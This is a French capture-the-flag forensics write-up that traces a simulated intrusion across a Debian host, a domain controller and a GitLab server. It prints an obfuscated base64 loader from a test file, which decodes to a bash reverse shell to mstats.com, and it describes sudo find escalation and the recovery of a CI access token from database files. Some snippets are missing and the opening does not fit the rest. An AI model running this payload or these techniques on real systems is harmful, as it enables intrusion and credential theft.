Après avoir analysé et avoir compris les mécanismes du maliciel,
vous comprenez que tout n'est pas perdu. En effet, votre analyse
vous a permis de comprendre que la clé AES utilisée pour le
chiffrement des logs est chargé en mémoire lors de l'exécution
du virus.
NB: Cet exercice contient plusieurs étapes. À la fin de chacune,
de nouvelles instructions vous seront transmises dans
un fichier `stepX-context.txt`.
Votre mission est donc de retrouver la clé dans le dump mémoire
mis à votre disposition, et de l'utiliser pour déchiffrer les logs.
Nous avons l'architecture de fichiers d'une machine Debian.
On trouve dans le répertoire /home/clagrange un fichier testsuite.py dans
lequel une variable nommée random est définie comme une liste, puis remplie
avec différentes chaînes de caractères de manière éparpillée au fil du code :
random = [0, 0, 0, 0, 0] # ligne 10
random[3] = "dOd0wyMXpkR0YwY3k1amIyMHZPREFn" # ligne 57
random[1] = "NlNjQuYjY0ZGVjb2RlKCJMMkpwYmk5" # ligne 73
random[0] = "aW1wb3J0IG9zCm9zLnN5c3RlbShiYX" # ligne 102
random[4] = "TUQ0bU1TQW0iKS5kZWNvZGUoKSk=" # ligne 131
random[2] = "aVlYTm9JQzFwSUQ0bUlDOWtaWFl2ZE" # ligne 171
Au sein d'un test, les chaînes de caractères sont rassemblées et décodées de la
base64 et le résultat est alors exécuté :
exec(base64.b64decode("".join(random)).decode()) # ligne 180
On décode donc de la base64 :
import os
os.system(base64.b64decode("L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL21zdGF0cy5jb20vODAgMD4mMSAm").decode())
En décodant cette nouvelle base64, une commande permettant d'obtenir un reverse
shell apparaît et donc notre premier flag.
Cette partie se fait à partir de l'analyse du dump de la machine Debian.
L'une des méthodes plus classiques d'élévation de privilèges est l'utilisation
de permissions sudo mal configurées. On peut donc vérifier le contenu du
fichier sudoers dans le répertoire etc et on y trouve :
clagrange ALL=(root) NOPASSWD: /usr/bin/find
L'utilisateur clagrange peut donc utiliser la commande find en tant que
root sans mot de passe. find, si lancé avec des privilèges root, permet
d'obtenir un shell root, et on peut confirmer si cela a eu lieu en vérifiant le
fichier /var/log/auth.log, qui trace, entre autres, les utilisations de sudo
et on y trouve bien, à la ligne 17, une utilisation de find permettant
d'obtenir un shell root.
On a donc trouvé les deuxième et troisième flags.
Nous disposons de logs provenant du contrôleur de domaine.
On sait qui s'est fait compromettre son ordinateur grâce au dump de disque, nous allons donc effectuer une analyse des logs sur cet utilisateur.
Pour ce faire, nous allons isoler les logs :
$ grep "clément.lagrange" evtx-dc01.log > output.xml
On filtre les différents types d'EventID, et l'on remarque que deux type de logon suspects :
grep -o '<EventID Qualifiers="">....</EventID>' output.xml | sort | uniq -c

Les EventID suspects que nous avons identifié correspondent :
* Une tentative de modification du mot de passe d'un compte a été effectuée.
* Une tentative de réinitialisation du mot de passe d'un compte a été effectuée.
En se penchant sur les logs, on comprend qu'après un reset (4724) puis un changement de mot de passe (4723), une authentification (4624) a été faite depuis une autre machine qu'on peut voir avec l'adresse IP.

Avec ceci, nous avons identifié les évènements suspects liés à l'utilisateur compromis.
Maintenant, nous allons isoler tous les logs qui ont été collectés ce même jour ou les EventID suspects ont été identifiés.
$ grep '<TimeCreated SystemTime="2025-07-28' evtx-dc01.log > output.xml
Sur cette journée, on remarque que ces logs qui impliquent des .exe et des .dll.
Et l'une des DLL, dans les logs de type "Microsoft-Windows-Sysmon", n'est pas signé.

La DLL en question présente plusieurs caractéristiques anormales :
Emplacement non conventionnel :
* Elle a été déposée dans le dossier C:\Windows\System32\spool\driver au lieu du chemin standard C:\Windows\System32\spool\drivers.
* Enregistrement d’un port d’imprimante malveillant : Le même exécutable a configuré un port d’imprimante pointant vers cette DLL, ce qui suggère une exploitation de la vulnérabilité Spouleur d'impression.

Des traces d’exécution ont été relevées depuis le répertoire :\
<Data Name="CurrentDirectory">C:\Windows\Temp\tools\PrivEsc\</Data>
L’exécutable a lancé une série de commandes visant à :
* Charger la DLL malveillante.
* Exploiter le mécanisme Windows Error Reporting (WER) pour obtenir une élévation de privilèges.
Commandes exécutées :




Résultat :
* La DLL malveillante a permis le lancement d’un cmd.exe avec des privilèges élevés.
* La machine DC a été compromise au niveau le plus critique, via une élévation de privilèges.


Nous nous intéressons désormais au dump de la DMZ, qui contient un gitlab self-hosted.
On extrait les fichiers:
tar xzvf INFRA01-dump.tar.gz
On sait que l'attaquant a compromis deux machines:
- DC01: 10.0.0.2
- DEBIAN01: 10.0.0.112
- WINDOWS01: 10.0.0.113
Et que l'attaque sur l'active directory a commencé à partir du 28 juillet 2025.
En cherchant dans les logs d'authentification (/mnt/var/log/auth.log), on trouve une connexion SSH en root d'une IP d'une machine compromise.

Tout d'abord, nous devons chercher le dépôt git qui a été compromis. Nous savons qu'il s'agit de celui de ntopng.
Nous cherchons les dépôts git dans le dump :

On y trouve trois dépôts, ainsi que leur wifi associé.
Cependant, on s'aperçoit que ces dépôts sont au format "bare", c'est-à-dire qu'ils ne contiennent pas de copie de travail.
Pour obtenir le code source, plusieurs techniques sont possibles, comme copier le .git dans un nouveau répertoire et créer une copie de travail avec git checkout. Cependant, une méthode plus simple est d'utiliser la commande git clone directement sur le dépôt bare.
On clone donc les dépôts:

On analyse le code source de chaque dépôt.
Fichier README.md du premier dépôt:

On constate que ce dépôt correspond bien à ntopng.
Fichier README.md du deuxième et troisième dépôt:

On constate que ce dépôt correspond à nDPI, une bibliothèque utilisée par ntopng.
Comme on sait que le paquet infecté est ntopng, on se concentre sur le premier dépôt.
On sait que l'attaquant a réalisé une exfiltration dns à destination du domaine mstats.com.
On cherche dans le code source des occurrences de ce domaine:

On trouve une occurrence dans un certain fichier. Si on ouvre le fichier, on voit bien une exfiltration dns en base64.
On remarque également que la toolchain a été modifiée pour ajouter une librairie c-plus-plus de client DNS, ldns.
On effectue un git log sur le fichier pour trouver le commit où l'attaquant a ajouté ce code malveillant.

La question posée est:
Comment l'attaquant a t-il pu insérer ce code malveillant dans ntopng?
On cherche dans le dépôt des fichiers de configuration d'intégration continue, comme gitlab-ci.yml ou .github/workflows.
On trouve un fichier gitlab-ci.yml, et on y trouve un job qui utilise un token d'accès pour clone l'autre dépôt, nDPI, en utilisant un Access Token.

On comprend donc que ce fichier, visible par l'attaquant, lui a donné une piste pour insérer du code malveillant dans le dépôt ntopng.
On sait que l'attaquant a ajouté le commit le 29 juillet, que l'active directory a été compromis le 28 juillet.
On cherche alors des logs dans cet intervalle de temps, sur la machine INFRA01.
On s'intéresse alors aux logs shell de gitlab, situés dans /mnt/var/log/gitlab/gitlab-shell/gitlab-shell.log.
On constate qu'il y a plusieurs commandes reçues.
En lisant la documentation de git, pour la commande upload et receive-pack, on comprend que:
gitlab-upload-pack correspond à un clone du dépôtgitlab-receive-pack correspond à un push du dépôtCependant, on voit qu'il n'y a pas de timestamp dans l'intervalle recherché.
Néanmoins, on trouve également des logs nginx dans /mnt/var/log/gitlab/nginx/gitlab_access.log.
En effet, il est possible de clone en https, ce qui génère des logs nginx.
En cherchant dans ces logs, on trouve bien des timestamps et des IP qui correspondent à une machine compromise.

On sait que l'attaquant a utilisé un jeton d'accès pour cloner le dépôt ntopng et qu'il est stocké dans une variable de CI, nommée DEBUG, selon le fichier gitlab-ci.yml.
On trouve deux occurrences dans la base de données postgresql de gitlab, qu'il faut recréer pour extraire le token.
On affiche la version de postgresql:
➜ mnt cat var/opt/gitlab/postgresql/VERSION
postgres (PostgreSQL) 16.10
On télécharge la version 16:
sudo apt-get install postgresql-16
On lance postgres:
/usr/lib/postgresql/16/bin/postgres -D var/opt/gitlab/postgresql/data/
Mais on obtient cette erreur:
FATAL: could not load root certificate file "/opt/gitlab/embedded/ssl/certs/cacert.pem": No such file or directory
LOG: database system is shut down
Cela est normal, car le /opt de notre système n'est pas celui du dump.
Il est possible de faire un lien symbolique de /opt vers /mnt/opt, mais cela n'est pas très propre, il est préférable de modifier la configuration de postgres.
On fait un grep des chemins absolus dans le dossier de postgres, notamment via les chemins /var et /opt.

On ouvre le fichier var/opt/gitlab/postgresql/data/postgresql.conf et on modifie les chemins qui commencent par /var en /mnt/var
unix_socket_directories = '/mnt/var/opt/gitlab/postgresql' # (change requires restart)
ssl_ca_file = '/mnt/opt/gitlab/embedded/ssl/certs/cacert.pem'
On retire l'authentification en remplaçant peer map=gitlab par trust dans le fichier pg_hba.conf.
On lance postgres, et cette fois le serveur se lance.
On ouvre une autre console et on se connecte à la base de données gitlab:
- On précise le chemin du socket UNIX (-h)
- On précise le port 5432 (-p)
- On précise l'utilisateur gitlab-psql (-U)
- On précise la base de données gitlabhq_production (-d)
Toutes ces informations sont disponibles dans le fichier pg_hba.conf et postgresql.conf.
/usr/lib/postgresql/16/bin/psql -h /mnt/var/opt/gitlab/postgresql/ -p 5432 -U gitlab-psql -d gitlabhq_production
On cherche dans la table personal_access_tokens, mais tout est chiffré.
On cherche alors dans la table ci_variables, car on sait que le token est stocké dans une variable de CI grâce au fichier gitlab-ci.yml.

On voit bien que la valeur de la variable est bien DEBUG, tout comme dans le fichier gitlab-ci.yml.
Il suffit donc de décoder la valeur base64 pour obtenir le token.
Il existe une solution alternative pour identifier la table ci_variables dans laquelle le token est stocké, ou bien si on ne veut pas monter un serveur postgresql.
On sait que le jeton d'accès peut-être de différents types.
En se référant à la documentation GitLab sur les Access Tokens, on y voit qu'il existe plusieurs types de jetons avec chacun des préfixes différents:

On peut utiliser le préfixe pour chercher le token dans le dump. On sait également que le token est sous format base64, il faut donc l'encoder avant de le chercher.
En essayant avec le préfixe glpat-, on trouve des correspondances dans les fichiers postgresql:
➜ mnt grep -r $(echo -n "glpat-" | base64)
grep: var/opt/gitlab/postgresql/data/pg_wal/00000001000000000000000A: binary file matches
grep: var/opt/gitlab/postgresql/data/base/16386/22059: binary file matches
On peut alors faire la requête SQL suivante afin de savoir le nom de la table associée à ce fichier:
SELECT
relname,
relkind,
relfilenode,
pg_namespace.nspname
FROM pg_class
JOIN pg_namespace ON pg_namespace.oid = pg_class.relnamespace
WHERE relfilenode = 22059;
ce qui nous donne:

On voit que ce fichier correspond à la table ci_variables. On aurait pu le deviner, car le token était stocké dans une variable de ci selon le fichier gitlab-ci.yml. Cela permet de nous le nom de la table pour chercher le token si on veut monter le serveur postgresql.
Encore plus simple, on peut chercher directement le token dans le fichier var/opt/gitlab/postgresql/data/base/16386/22059 avec strings et grep:

On voit le token encodé en base64, que l'on peut décoder pour obtenir l'original. Cependant cette technique n'est pas très propre, car on peut obtenir des faux positifs, il faut connaître le préfixe du token, et rien ne nous assure qu'il corresponde bien à la valeur de la variable DEBUG.